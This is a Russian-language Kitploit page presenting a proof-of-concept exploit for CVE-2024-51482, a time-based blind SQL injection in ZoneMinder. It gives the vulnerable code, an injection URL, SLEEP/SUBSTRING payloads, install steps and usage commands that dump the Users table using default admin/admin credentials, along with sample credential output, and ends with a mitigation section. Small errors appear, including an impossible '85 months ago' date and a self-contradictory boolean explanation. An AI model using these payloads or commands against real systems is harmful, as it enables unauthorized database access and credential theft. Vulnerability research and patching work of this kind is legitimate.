Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51482 — ZenoMinder Слепая SQL-инъекция PoC | Kitploit
Инструменты/GitHubGitHub/bridgeralderson/cve-2024-51482
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder Слепая SQL-инъекция PoC

Репозиторий
85 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-51482 - Слепая SQL-инъекция в ZoneMinder

Оглавление

  • Обзор
  • Сведения об уязвимости
  • Технический анализ
  • Руководство по эксплуатации
  • Установка
  • Примеры использования
  • Меры по смягчению
  • Ссылки

Обзор

CVE-2024-51482 — это критическая уязвимость логической SQL-инъекции, обнаруженная в ZoneMinder, популярном ПО с открытым исходным кодом для видеонаблюдения. Эта ошибка затрагивает версии с 1.37.* по 1.37.64 и позволяет аутентифицированным злоумышленникам с низкими привилегиями выполнять произвольные SQL-запросы к базе данных.

ПараметрЗначение
CVE IDCVE-2024-51482
CVSS Score9.9 (Critical)
Вектор атакиСетевой
Требуемые привилегииНизкие
Взаимодействие с пользователемНет
Область действияИзменяемая
ВлияниеКонфиденциальность, Целостность, Доступность – ВЫСОКОЕ
Исправленная версия1.37.65

Сведения об уязвимости

Уязвимые версии

  • Уязвимые: ZoneMinder v1.37.0 – v1.37.64.
  • Исправленные: ZoneMinder v1.37.65 и выше.

Первопричина

Уязвимость находится в файле web/ajax/event.php в функции removetag. Параметр tid (идентификатор тега) напрямую конкатенируется в SQL-запрос без надлежащей санитизации или параметризации.

Уязвимый код:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

Исправленный код:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query

Вектор атаки

Уязвимая точка запускается через:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[ИНЪЕКЦИЯ]

Технический анализ

Почему слепая логическая инъекция?

Точка инъекции не возвращает результат запроса напрямую в ответе, что делает невозможными традиционные атаки на основе UNION. Вместо этого мы должны извлекать информацию с помощью логических условий или временных задержек.

  • Логический подход:
    • Истинное условие → Нормальное время отклика.
    • Ложное условие → Нормальное время отклика.
    • Требует наблюдаемых различий в поведении приложения.
  • Временной подход (более надёжный):
    • Истинное условие → Задержка ответа (SLEEP).
    • Ложное условие → Нормальное время отклика.

Механизм эксплуатации

Наш эксплойт использует временное извлечение с помощью функции SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Когда это условие истинно, база данных засыпает на 2 секунды, создавая измеримую задержку в HTTP-ответе.

Процесс извлечения символов

  • Бинарный поиск: Для каждой позиции символа мы проверяем диапазоны с помощью ASCII(SUBSTRING()) > MID.
  • Измерение времени: Если условие истинно, SLEEP срабатывает.
  • Восстановление символа: Строка строится посимвольно.

Пример полезной нагрузки для извлечения символа на позиции 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Руководство по эксплуатации

Предварительные требования

  • Целевой сервер с ZoneMinder 1.37.0 – 1.37.64.
  • Действительные учётные данные (по умолчанию: admin/admin).
  • Сетевой доступ к веб-интерфейсу ZoneMinder.

Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Сделать скрипт исполняемым
chmod +x CVE-2024-51482.py

# Установка необходимых зависимостей
pip3 install requests

Базовое использование

root@kitploit:~
# Проверка, уязвима ли цель
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test

# Обнаружение всех баз данных
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover

# Список таблиц в определённой базе данных
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm

# Список столбцов в определённой таблице
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users

# Извлечение данных из определённых столбцов
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"

# Извлечение таблицы пользователей (по умолчанию)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users

# Включить отладочный вывод для подробного процесса извлечения
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug

# Настроить время ожидания для более надёжного извлечения
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3

# Отключить цветной вывод
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color

Примеры использования

Пример 1: Проверка уязвимости

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Пример 2: Перечисление баз данных

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Пример 3: Извлечение учётных данных пользователей

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Пример 4: Пользовательское извлечение данных

root@kitploit:~
# Извлечение определённых столбцов из таблицы Events
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Как работает эксплойт

Пошаговое описание

  1. Аутентификация: Скрипт сначала аутентифицируется в ZoneMinder для получения действительной сессионной cookie.
  2. Измерение базового времени: Отправляет 5 нормальных запросов для определения среднего времени отклика.
  3. Подтверждение уязвимости: Тестирует с полезной нагрузкой SLEEP(2), чтобы проверить, работает ли инъекция.
  4. Извлечение символов: Для каждой позиции символа бинарный поиск определяет значение ASCII:
    • Запрос: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.
    • Если условие истинно → SLEEP срабатывает → Ответ задерживается.
    • Если условие ложно → Немедленный ответ.
  5. Восстановление строки: Символы конкатенируются для формирования полных строк.

Ключевые особенности

  • Алгоритм бинарного поиска: Извлекает символы примерно за log₂(95) ≈ 7 запросов на символ.
  • Адаптивная задержка: Автоматически калибрует базовое время для точного обнаружения.
  • Индикатор прогресса: Показывает ход извлечения в реальном времени.
  • Восстановление после ошибок: Корректно обрабатывает тайм-ауты соединения.
  • Режим отладки: Показывает подробное посимвольное извлечение.

Меры по смягчению

Немедленные действия

  • Обновите ZoneMinder до версии 1.37.65 или новее:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Если установка исправления невозможна, ограничьте доступ к уязвимому скрипту:
    root@kitploit:~
    # Конфигурация Apache
    Require ip 192.168.0.0/16
    
  • Реализуйте принцип наименьших привилегий для учётных записей базы данных.
  • Мониторьте логи на предмет подозрительных попыток SQL-инъекций:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Долгосрочные рекомендации

  • Используйте параметризованные запросы для всех взаимодействий с базой данных.
  • Внедрите правила Web Application Firewall (WAF).
  • Регулярные аудиты безопасности и тестирование на проникновение.
  • Поддерживайте ZoneMinder и все зависимости в актуальном состоянии.

Ссылки

  • GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
  • NVD Entry - CVE-2024-51482
  • Patch Commit
  • CISA Vulnrichment
  • Tenable Nessus Plugin
  • Check Point Advisory

Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и целей тестирования безопасности. Несанкционированное тестирование компьютерных систем незаконно. Всегда получайте соответствующее разрешение перед тестированием любой системы.

Строка вектора CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Скачать инструмент
ПараметрЗначение
Вектор атакиСетевой
Сложность атакиНизкая
Требуемые привилегииНизкие
Взаимодействие с пользователемНет
Область действияИзменяемая
КонфиденциальностьВысокая
ЦелостностьВысокая
ДоступностьВысокая